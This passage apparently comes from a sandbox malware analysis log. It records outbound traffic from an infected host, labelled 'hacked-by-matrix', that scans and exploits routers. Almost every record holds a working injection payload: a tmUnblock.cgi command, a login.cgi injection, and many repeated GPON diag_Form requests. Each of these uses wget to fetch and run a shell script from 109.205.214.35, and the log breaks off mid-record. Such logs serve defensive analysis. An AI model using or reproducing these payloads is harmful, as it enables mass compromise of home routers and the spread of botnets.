72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.13	57568	172.64.167.179	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.412180901 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.13	33744	38.6.181.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.666959047 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:18.237416029 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:18.421060085 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:18 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.13	41548	109.206.238.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.708998919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.13	35700	109.168.34.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709012985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.13	44196	212.252.108.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709012985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.13	45080	5.50.254.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709057093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.13	52918	5.245.66.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709057093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.13	46500	109.60.76.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709081888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.13	57024	42.206.209.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709099054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.13	58844	42.219.52.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709105015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.13	57168	5.92.58.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709170103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.13	41316	212.67.250.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709182978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.13	44716	5.240.33.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709228039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.13	56602	109.157.172.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709264994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.13	39910	212.178.204.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709273100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.13	57884	109.125.211.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709274054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.13	43874	42.141.15.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709301949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.13	58510	109.219.137.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709301949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.13	59786	212.173.133.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709306002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.13	57702	212.52.212.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709307909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.13	32896	109.134.21.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709348917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.13	35438	109.126.222.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709414959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.13	40384	118.253.62.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.709423065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.13	60976	5.117.166.254	443

Timestamp	Bytes transferred	Direction	Data
